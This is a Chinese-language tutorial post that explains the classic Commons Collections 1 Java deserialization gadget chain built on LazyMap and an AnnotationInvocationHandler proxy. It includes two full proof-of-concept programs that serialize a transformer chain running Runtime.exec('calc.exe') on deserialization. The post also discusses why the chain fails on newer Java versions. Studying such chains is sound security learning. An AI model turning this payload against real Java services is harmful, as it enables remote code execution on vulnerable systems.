假设读者已经了解HashMap
版非经典CC1链的构造原理。
如此提到了非经典版的CC1链,代表经典版CC1链和HashMap
版有一定出入。
经典版CC1链使用的Map
类为LazyMap
而非HashMap
LazyMap
类的整体声明如下
1
2
3
4
5
public class LazyMap
extends AbstractMapDecorator
implements Map , Serializable {
...
}
Copy
整个Lazymap
的transform()
触发点只有在get()
中有提到,get()
方法的源代码如下
1
2
3
4
5
6
7
8
9
public Object get ( Object key ) {
// create value for key if key is not currently in the map
if ( map . containsKey ( key ) == false ) {
Object value = factory . transform ( key );
map . put ( key , value );
return value ;
}
return map . get ( key );
}
Copy 恰好,AnnotationInvocationHandler.invoke()
有get()
的调用
1
2
3
4
5
6
public Object invoke ( Object proxy , Method method , Object [] args ) {
...
// Handle annotation member accessors
Object result = memberValues . get ( member );
...
}
Copy AnnotationInvocationHandler
是一个继承了InvocationHandler
接口的类,能够对某个对象进行代理,代理后被代理对象所以方法的触发都会被AnnotationInvocationHandler.invoke()
拦截处理,恰如代理模式中动态代理的示例一般。
有了这些Knowledge,我们就可以轻易理解如下示例
简易经典版CC1链如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
package org.dm.vulhub.Ser ;
import org.apache.commons.collections.Transformer ;
import org.apache.commons.collections.functors.ChainedTransformer ;
import org.apache.commons.collections.functors.ConstantTransformer ;
import org.apache.commons.collections.functors.InvokerTransformer ;
import org.apache.commons.collections.map.LazyMap ;
import java.io.ByteArrayInputStream ;
import java.io.ByteArrayOutputStream ;
import java.io.ObjectInputStream ;
import java.io.ObjectOutputStream ;
import java.lang.annotation.Retention ;
import java.lang.reflect.Constructor ;
import java.lang.reflect.InvocationHandler ;
import java.lang.reflect.Proxy ;
import java.util.HashMap ;
import java.util.Map ;
public class ClassicCC1 {
public static void main ( String [] args ) throws Exception {
Transformer [] transformers = new Transformer [] {
new ConstantTransformer ( Runtime . class ),
new InvokerTransformer ( "getMethod" , new Class [] {
String . class ,
Class [] . class }, new Object [] { "getRuntime" ,
new Class [ 0 ] }),
new InvokerTransformer ( "invoke" , new Class [] {
Object . class ,
Object [] . class }, new Object [] { null , new
Object [ 0 ] }),
new InvokerTransformer ( "exec" , new Class [] { String . class
},
new String [] { "calc.exe" }),
};
Transformer transformerChain = new
ChainedTransformer ( transformers );
Map innerMap = new HashMap ();
Map outerMap = LazyMap . decorate ( innerMap , transformerChain );
//获得代理对象
Class clazz = Class . forName ( "sun.reflect.annotation.AnnotationInvocationHandler" );
Constructor construct = clazz . getDeclaredConstructor ( Class . class ,
Map . class );
construct . setAccessible ( true );
InvocationHandler handler = ( InvocationHandler )
construct . newInstance ( Retention . class , outerMap );
Map proxyMap = ( Map )
Proxy . newProxyInstance ( Map . class . getClassLoader (), new Class [] { Map . class },
handler );
//将代理对象赋值给memberValues
handler = ( InvocationHandler )
construct . newInstance ( Retention . class , proxyMap );
ByteArrayOutputStream barr = new ByteArrayOutputStream ();
ObjectOutputStream oos = new ObjectOutputStream ( barr );
oos . writeObject ( handler );
oos . close ();
System . out . println ( barr );
ObjectInputStream ois = new ObjectInputStream ( new
ByteArrayInputStream ( barr . toByteArray ()));
Object o = ( Object ) ois . readObject ();
}
}
Copy 39行修改TransformedMap
为LazyMap
41-49行获取代理对象
53-54行,因为代理对象无法进行反序列化,需要一个可序列化类,成员变量可控并且readObject()
中调用过成员变量的方法,该成员变量可接受代理类对象,条件严苛,刚好AnnotationInvocationHandler
也满足这个条件
如果存在一个类的成员变量可控并且readObject()
中调用过成员变量的方法,该类可反序列化,那么同样也能触发
下列是例子
完整代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
package org.dm.vulhub.Ser ;
import org.apache.commons.collections.Transformer ;
import org.apache.commons.collections.functors.ChainedTransformer ;
import org.apache.commons.collections.functors.ConstantTransformer ;
import org.apache.commons.collections.functors.InvokerTransformer ;
import org.apache.commons.collections.map.LazyMap ;
import java.io.* ;
import java.lang.annotation.Retention ;
import java.lang.reflect.Constructor ;
import java.lang.reflect.InvocationHandler ;
import java.lang.reflect.Proxy ;
import java.util.HashMap ;
import java.util.Map ;
public class ClassicCC1 {
public static void main ( String [] args ) throws Exception {
Transformer [] transformers = new Transformer [] {
new ConstantTransformer ( Runtime . class ),
new InvokerTransformer ( "getMethod" , new Class [] {
String . class ,
Class [] . class }, new Object [] { "getRuntime" ,
new Class [ 0 ] }),
new InvokerTransformer ( "invoke" , new Class [] {
Object . class ,
Object [] . class }, new Object [] { null , new
Object [ 0 ] }),
new InvokerTransformer ( "exec" , new Class [] { String . class
},
new String [] { "calc.exe" }),
};
Transformer transformerChain = new
ChainedTransformer ( transformers );
Map innerMap = new HashMap ();
Map outerMap = LazyMap . decorate ( innerMap , transformerChain );
//
Class clazz =
Class . forName ( "sun.reflect.annotation.AnnotationInvocationHandler" );
Constructor construct = clazz . getDeclaredConstructor ( Class . class ,
Map . class );
construct . setAccessible ( true );
InvocationHandler handler = ( InvocationHandler )
construct . newInstance ( Retention . class , outerMap );
Map proxyMap = ( Map )
Proxy . newProxyInstance ( Map . class . getClassLoader (), new Class [] { Map . class },
handler );
// handler = (InvocationHandler)
// construct.newInstance(Retention.class, proxyMap);
ClassicCC cc = new ClassicCC ( proxyMap );
ByteArrayOutputStream barr = new ByteArrayOutputStream ();
ObjectOutputStream oos = new ObjectOutputStream ( barr );
// oos.writeObject(handler);
oos . writeObject ( cc );
oos . close ();
System . out . println ( barr );
ObjectInputStream ois = new ObjectInputStream ( new
ByteArrayInputStream ( barr . toByteArray ()));
Object o = ( Object ) ois . readObject ();
}
}
class ClassicCC implements Serializable {
private Map < String , Object > mm ;
public ClassicCC ( Map < String , Object > mm ){
this . mm = mm ;
}
private void readObject ( java . io . ObjectInputStream s )
throws java . io . IOException , ClassNotFoundException {
s . defaultReadObject ();
mm . clear ();
}
}
Copy 修改在55行和70-81行,第80行是触发函数。
但是这种办法依旧没法在高版本Java中利用。
LazyMap的漏洞触发在get和invoke中,完全没有setValue什么事,这也说明8u71后不能利用的原因和AnnotationInvocationHandler#readObject 中有没有setValue没任何关系(反驳某些文章不负责任的说法),关键还是和逻辑有关。
最后,高版本的Java遇到CommonCollections,到底如何解决呢?继续学习吧!!